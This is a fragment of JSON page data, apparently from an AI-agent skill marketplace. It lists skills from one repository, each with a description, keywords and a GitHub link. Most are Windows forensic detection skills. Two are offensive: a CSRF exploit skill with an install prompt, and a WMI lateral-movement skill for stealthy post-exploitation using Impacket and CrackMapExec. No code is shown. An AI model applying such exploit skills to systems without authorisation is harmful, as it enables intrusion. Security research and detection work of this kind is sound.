auth-csrf-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fcsrf\u002Fexploit\u002FSKILL.md",true,[89],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"index.json","REFERENCE","参考文档",662,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fauth\u002Fcsrf\u002Fexploit\u002Findex.json",[96,119,139,160,182,198],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[103,104,105,106,107,33,34,108,109,110,111,112,113,114,115,116,117,42,118],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[27,103,126,106,127,128,129,42,28,130,131,132,133,134,33,135,136,35,137,138],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":145,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[146,147,148,149,150,151,42,28,152,130,153,154,33,35,155,156,157,158,159,31],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[104,167,168,169,170,171,172,34,173,42,118,174,175,176,177,178,179,180,181,33],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,104,191,169,171,192,34,193,173,42,118,130,194,195,196,197,181,33,108],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[205,104,169,206,192,34,207,208,42,118,209,210,211,212,213,214,33,108,215,216],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]